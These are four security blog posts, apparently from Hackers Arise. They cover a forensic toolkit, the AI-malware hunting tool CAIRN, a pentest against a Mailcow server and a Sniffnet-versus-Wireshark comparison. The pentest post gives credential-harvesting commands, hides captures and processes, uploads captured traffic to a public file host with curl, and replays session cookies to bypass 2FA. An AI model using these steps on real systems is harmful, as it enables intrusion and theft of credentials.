Welcome back, dear investigators!

Our main concern in cybersecurity is protecting systems and recovering from cyberattacks quickly. There are different tools out there built for this, and they keep evolving. Our job is to find what fits best in our environment and stick to the best practices laid out by NIST and ISO.

Today we’ll look at Live-Forensicator, a live response toolkit. The tool supports AI integration to process your findings more efficiently, which is a good thing since many of you know how tedious forensic analysis work can be. It’s optional though, and you can always rely on your own knowledge to verify findings.

Setting Up

Let’s download the archive with scripts and see what’s inside. You can find it here.

Live-Forensicator works on Windows, Linux, and macOS. We’ll be testing it on Windows here. Keep in mind, the tool gets flagged by AV because WinPmem, admin PS, and hash walks look suspicious. Use it only if you think it’s appropriate for your environment, or fall back to other tools since we’ve covered many of them on our website.

PS > powershell -ep bypass Forensicator.ps1 -USAGE

Running Scans

Let’s start with some general scans.

You can launch it without any flags and the tool will ask for details after you start it.

PS > .\Forensicator.ps1 

Or give it some case details upfront. They include the operator name, case ID, location and the device name.

PS > .\Forensicator.ps1 -OPERATOR "Jane Doe" -CASE "IR-2026-001" -TITLE "Workstation triage" -LOCATION "Toronto" -DEVICE "LAPTOP-042"

It’ll take some time to go through all the steps. You’ll see the progress on screen.

When the script finishes, the results get saved in the current folder inside a new directory. Go to reports and open index.html.

Here’s the overview page. You can scroll down and jump to different sections of the report.

Below is the Event Log summary with events sorted by category. We see that accounts successfully logged on (Event ID 4624), then someone looked up what groups certain users belong to (Event ID 4798) and the members of security groups were listed (Event ID 4799). Event ID 4688 logs process creation.

You also get a summary to assess the risks quickly. In our case it was high and the tool explained why.

Forensicator AI

AI is off by default. When it’s enabled, you get a plain language explanation of the results. For AI to work, you need Ollama running. The model can run locally or sit on a separate host accessible to other machines. Mistral AI models can be used for this work.

# Install Ollama (https://ollama.com) and pull a model
PS > ollama pull mistral:7b-instruct

Then edit the config.json file.

"ai": {
  "enabled": true,
  "provider": "ollama",
  "base_url": "http://localhost:11434",
  "model": "mistral:7b-instruct"
}

There’s no -AI flag. The script reads config.json at startup. When AI is on, each finding gets sent to the model after it’s built. If the model is down, the collection still finishes and that row just has no verdict. In the report, open a finding and use the tooltip labeled AI Analysis. Windows also builds an Investigation Summary with a risk score, a rough timeline, and next steps. This is just a briefing, so don’t treat it as the final verdict. Also, keep in mind that AI makes the run a lot slower since every finding is a real model call.

Here are some screenshots of AI analysis.

Summary

During an incident response time is of the essence, so swiftly scanning your hosts for signs of compromise will save you time. There are different situations and cases that require certain approaches, that’s why knowing how to work with different forensics tools is important. Having AI process your analysis results can be helpful, but it might take some time, unless you have a good GPU for it.

If you’re just getting started in forensics, we recommend our Digital Forensics training, where Master OTW walks you through the techniques to find evidence of criminal activity on a computer or network.

The post Digital Forensics: Analyzing Systems with Live-Forensicator first appeared on Hackers Arise.

Welcome back, aspiring cyberwarriors!

Some of you have already seen the headlines about malware calling out to AI APIs. Recently, Talos found a Windows implant called CLOSEDQUORUM that leaves its tactical command and control decisions to a panel of commercial LLMs while the operator sleeps. Malware like that doesn’t leave the traces we’re used to hunting. Now you find prompt templates, provider endpoints, API key prefixes, jailbreak wording and sometimes text written to talk an AI sandbox out of flagging the file. Talos calls these cognitive artifacts and developers who wire an LLM into their tooling leave some behind.

What is CAIRN

Cisco Talos built a free research tool called CAIRN. The name is a metaphor. A cairn is a pile of stones hikers leave on a trail so the next person can see where to go. CAIRN looks for the same kind of marker inside malware that talks to AI. It works from metadata, which means you never download the sample and you never run it. Keep in mind, it needs a VirusTotal API. It sorts what it finds into three tiers, from a simple AI string match, to behavior and families. It also clusters samples that look alike even when they don’t share an obvious string. 

CAIRN is a research tool and not a live threat feed. It shows us where hackers are heading. 

Let’s set it up and cover some basic commands. 

Setting Up

We start by copying the repository and installing the python libraries.

kali > git clone https://github.com/Cisco-Talos/Cognitive-Artifact-Intelligence-Research-Network.git

kali > cd Cognitive-Artifact-Intelligence-Research-Network

kali > python -m venv .venv
kali > source .venv/bin/activate          

kali > pip install -e ".[dev]"

The env file needs VirusTotal API.

kali > cp .env.example .env
kali > nano .env

Once it’s there, you can start with some basic commands.

Basic Commands

The first thing we do is open the YARA file that ships with CAIRN and check that it is readable and put together the way the tool expects. If it prints a rule count and says the pack is valid, the rulers are loaded. You run it after install or after you edit a rule, so you know the next hunt will not fail because the rule file is broken.

kali > cairn validate-rules

Next we print the list of saved VirusTotal searches that come with CAIRN. We will use these names in the following command. The command only reads a config file on disk.

kali > cairn filters

Each name on that list is a hunt idea you can use, like Python files that mention an LLM library, or files that mention a hosted API.

kali > cairn pull --filter python-ai-scripts --limit 10

Next, you can summarize the findings. It reads only your database and tells you how many files you got and what rules were in use. 

kali > cairn summarize

We can then open the map.

kali > cairn explore

Here is how the clusters look like. Samples are grouped into clusters even when they share no obvious string overlap. These are semantic discoveries that analyze the meaning. 

Malware That Uses AI

Let’s take a look at the new developments in malware that were published by Cisco Talos. Their team was analyzing CLOSEDQUORUM.

They say it’s the first publicly documented Windows implant to apply this model to tactical command and control (C2). After it’s deployed, it uses AI models to decide what to do next and then executes their collective decision to harvest user credentials and crypto wallets. It doesn’t need a human to be ruling over the process, as the AI does everything. 

Traditional C2 architecture needs the hackers to have server infrastructure. That infrastructure is attributable and blockable. Instead of this, CLOSEDQUORUM calls up to four commercial LLM provider endpoints used by thousands of legitimate applications daily.

Here is how it looks decompiled. 

You see the providers, models and prompts. 

Hackers also may give detailed technical prompt templates. Here TARGET: %s is substituted at runtime. 

The response is then deserialized into a Go struct. 

Structure of the returned model’s decision.

Summary

Malware that calls out to AI is already here. There’s no server to attribute or block, since the traffic goes to provider endpoints that legitimate apps hit all day. Now we also hunt for cognitive artifacts like prompt templates, provider endpoints, API key prefixes and jailbreak wording. CAIRN helps with that by working from VirusTotal metadata, so you never download or run the sample. It groups findings by AI strings, behavior and families and clusters similar samples by meaning. It shows us where hackers are heading, and they’re heading toward AI doing the thinking for them.

If you like Malware Analysis and want to improve your skills in this field, sign up for our Reverse Engineering Malware training.

The post Malware Analysis: Analyzing AI-Backed Malware with CAIRN first appeared on Hackers Arise.

Welcome back, cyberwarriors.

It’s Collateral here again. Today we want to show you an attack vector that can bypass password complexity and 2FA. It was successful during one of our latest pentests. The environment we were testing was complex with segmented networks. In a situation like that, the best move is usually traffic analysis.

During the pentest we got access to a machine used for corporate mail. No details were given about the machine or the environment around it, but we noticed that the host was running multiple Docker containers. On the surface it looked like the company had done a decent job hardening things. Looking manually for configs across all these different apps is always a pain, so we used LaZagne instead to look for credentials.

LaZagne

LaZagne is a credential recovery tool that can parse configs and find credentials in them. It’s pretty easy to work with and the output looks clean. The tool can often find passwords buried in odd locations.

bash# > python3 laZagne.py

Not every entry you see will be a valid login, but most of the passwords are usable. We found the root credentials for MySQL which gave us database access. That’s already enough to temporarily adjust the password entries to analyze mail overnight.

# Docker shows 127.0.0.1:13306->3306/tcp

bash# > mysql -h 127.0.0.1 -P 13306 -u root -p

The password hashes used BLF-CRYPT format, which can be reproduced using the container itself, if you actually decide to manipulate the entries.

Network Traffic Analysis

These password hashes won’t help, because they’re slow to crack and some of them are backed by 2FA. Logging in with a cracked password might trigger a verification code sent to the user’s phone, which will definitely raise alarms.

For this attack we used tcpdump. A lot of people won’t like it because it’s a CLI tool and it’s boring writing those long oneliners explaining what you want to capture, but it’s quite powerful. It helped us understand the network’s behavior and find out which services were in use. You can still open your pcaps in Wireshark if you want to. Or better yet NetworkMiner, which will dissect every packet and sort all the findings. It’s often used for quick credential searches in pcaps because the filters are really strong

Above you can see a general traffic capture to get a sense of the environment. In secure networks where active scanning with nmap and other tools gets flagged, tcpdump is a better choice. By looking through the traffic flow, we can see the communication paths. We focused on HTTP traffic and found POST requests made to the mail server. The requests showed the internal proxy, where a publicly accessible mail portal forwarded traffic to a local Linux machine.

As you can see, the request contains the original IP address. Even though the main site used HTTPS, internal traffic was still HTTP. It’s a pretty common mistake.

Looks pretty good, right? They still think so.

Identifying the Port

To capture the credentials we had to find the correct port. It wasn’t on the usual 80 or 8080. If you look closely at the POST request, you will find it. It was 20000. That’s security through obscurity, as OTW says.

With that in hand, we started capturing the traffic:

bash# > tcpdump -i interface tcp port 20000 -w /etc/systemd/20k_01.pcap

Change the interface name to match yours and always store captures in obscure locations. Keep in mind, the tcpdump process will show up in the process list, unless the you use Zapper to hide it.

bash# > ps aux | grep tcpdump

Give it a few hours during the busy day and come back for your traffic capture. It’s always better to find the necessary ports and listen to their traffic instead of throwing a full capture at everything. The size will grow fast and the admins will notice a problem soon enough, especially if there isn’t much storage left to begin with.

# Upload the pcap to a free file host

bash# > file=20k_01.pcap
bash# > curl -F "reqtype=fileupload" -F "fileToUpload=@$file" https://catbox.moe/user/api.php

# It will give you the link in the output  

Next go to Wireshark, click File > Export objects > HTTP.

Export everything and read through all the connect packets.

kali > cat connect * | jq .

As you can see, the passwords were really complex, but this didn’t really help. Some accounts had 2FA, but if you have valid session cookies, you don’t need the password or the 2FA code. Just import them into your browser using Cookie-Editor and you’re in.

Streamlining With TCPDump

Once you know what to look for, you can grep the keywords you need:

kali > tcpdump -A -r 20k_05.pcap port 20000 | grep “userName”

As you can see, the passwords were really complex, but this didn’t really help. Some accounts had 2FA, but if you have valid session cookies, you don’t need the password or the 2FA code. Just import them into your browser using an extension like Cookie-Editor and you’re in.

We found folders labeled “Accesses” and “VM”. Emails showed the company hosted client services on virtual machines. All the credentials for the VMs were stored in plaintext, which is basically a goldmine for lateral movement and pivot.

Conclusion

Network traffic isn’t always the first thing hackers and pentesters go with, but that underestimates it significantly. As you’ve seen, there’s a lot that can be found in it if you dedicate some time. Seeing HTTP used inside organizations is so common. That’s a very common mistake that leaves all the communication wide open. So if you know how to look for things, you’ll find your answer in a subtle way. All this company noise is an opportunity during a pentest for us.

The post Pentesting: Taking Over A Corporate Mail – Mailcow first appeared on Hackers Arise.

Welcome back, aspiring cyberwarriors!

Network packet monitoring has long been an important skill for tech experts, especially those in cybersecurity. Like any skill, it demands a bit of studying and hands-on practice. While Wireshark has been a go-to tool for many, it can be somewhat cumbersome for beginners who simply want to see whom they’re exchanging data with. To simplify network monitoring, Sniffnet was developed.

In this article, we’ll dive into what Sniffnet is, how to install it, and provide a practical comparison of its features alongside those of Wireshark. Let’s get rolling!

What is Sniffnet?

Sniffnet is an open-source, cross-platform network monitoring tool developed in Rust. It captures and analyzes traffic flowing through a device’s network interfaces in real-time. Unlike traditional packet analyzers that typically display raw packet data, Sniffnet prioritizes visual clarity. It features a user-friendly dashboard that showcases live charts, protocol breakdowns, and geographic context instead of just a continuous stream of hex dumps.

Step #1: Installation

In this demonstration, I’ll be testing Sniffnet on Kali Linux, though it’s also cross-platform compatible with Windows and macOS. To get started with installation, we need to visit the official download webpage and choose the package. I’ll choose the DEB file. To install, just run the following command:

kali> sudo dpkg -i Sniffnet_LinuxDEB_amd64.deb

That’s it; we’re ready to start monitoring the traffic.

After starting the app, we need to choose the network adapter and click Start. If your system makes any network connections, you’ll see it as shown below.

The interface is straightforward. The screen is divided into blocks. At the top right, we can see the traffic rate. Beyond the live chart, Sniffnet also renders a donut chart showing cumulative statistics for the entire capture session. It tracks total incoming, outgoing, and dropped data.

Any packet sniffer can show you an IP address and a port number. Sniffnet goes further. The application can identify more than 6,000 upper-layer services, protocols, trojans, and worms flowing across your interface. Instead of staring at port 443 traffic and shrugging, Sniffnet can tell you the actual service behind that connection, in this case, HTTPS.

Besides that, every remote host your machine communicates with gets mapped to a physical location, so you can see at a glance whether your traffic is staying local or hopping across continents to servers you’ve never heard of. Beyond location, Sniffnet also pulls the Autonomous System Number and domain name associated with each host. Knowing the ASN tells you which organization or provider owns that piece of the internet. As you can see from the screenshot above, most requests were made to Cloudflare US servers. Nothing fancy, but it makes overall analysis much simpler for beginners.

The main page provides a very good overview of the network traffic. But when we find something valuable, let’s say an interesting host, we can click on it and see the whole communication history.

Practical Comparison: Sniffnet vs. Wireshark

Step 1: Getting an Overview of the Capture

When you load a pcap file into Sniffnet, it will immediately render the total traffic, direction split, and the donut chart of incoming, outgoing, and dropped data. In Wireshark, we can show this information too, but it takes navigating a menu and reading a table rather than seeing it visually on load. Pull up Statistics > Capture File Properties or Statistics > Protocol Hierarchy to get an equivalent summary.

Both tools can answer “what’s in this capture,” but one shows it, the other tells it.

Step 2: Finding the Suspicious Host

Let’s imagine that we want to view hosts by traffic volume.

As you can see in the screenshot above, at Sniffnet we need to change the data representation to packets, and that’s it. At Wireshark, we need to click Statistics > Endpoints > IPv4. Note that Wireshark has no built-in geolocation or ASN lookup, so you’d need a GeoIP database configured separately, or you’d have to pivot to an external tool like whois.

Step 3: Digging Into the Actual Conversation

Wireshark clearly stands out in this scenario. By simply right-clicking on the suspicious stream and selecting “Follow TCP Stream,” we can uncover the actual payload, which may include plaintext credentials, encoded commands, or unusual headers. For instance, in the case of the XWorm malware infection I examined, this Remote Access Trojan (RAT) encrypts commands sent from the Command and Control (C2) server using the AES encryption algorithm in ECB mode, making the payload unreadable. While we can see the ciphertext, Sniffnet lacks the capabilities to analyze it in this way. Sniffnet only presents connection metadata, service labels, and host details, as it isn’t designed for interpreting raw payloads. This underlines the importance of continuing to use Wireshark, even after Sniffnet performs the initial triage.

Step 4: Extracting Evidence

Since version 1.3, Sniffnet allows exporting the captured network traffic as a PCAP file. You can configure whether to export a capture file on the initial page of the app. By default, this functionality is not active, but you can enable it by clicking on the dedicated checkbox.

Wireshark offers a variety of flexible export options. You can save the entire packet capture in formats like PCAP, export only the packets you’ve selected, or even extract packet dissections as plain text. Additionally, you can choose to export specific protocol objects, such as HTTP files, or save the raw packet bytes.

Step 5: Filtering Down to What Matters

Sniffnet has built-in filtering options, filtering by IP address, port, protocol, or application layer service directly through the UI. This is menu-driven and requires no syntax to learn.

Wireshark has display filters, like ip.addr == 158.94.209.180 and tcp.port == 6000. Its filter syntax is far more expressive. You can chain logical operators, filter on specific packet fields deep inside a protocol, filter by string content inside payloads, or filter by flags. None of that granularity exists in Sniffnet.

Summary

When comparing Sniffnet and Wireshark, it’s clear that Sniffnet serves as a useful tool for monitoring network traffic, allowing you to keep tabs on your internet usage. It’s effective for gathering statistics and identifying your data exchange partners, but it falls short for more in-depth network investigations. On the other hand, Wireshark provides a much broader range of features for monitoring, filtering, and exporting traffic.

Therefore, if you’re just looking to casually check your traffic, Sniffnet will do the job. However, if you’re aiming to dive deeper and enhance your skills in network analysis, Wireshark is the way to go. Hackers-Arise offers a dedicated course titled “Wireshark for Cybersecurity” or you can opt for the Cybersecurity Starter Bundle, which includes this course along with 11 additional courses at a great price.

The post Network Forensics: Getting Started with Sniffnet Monitoring Tool first appeared on Hackers Arise.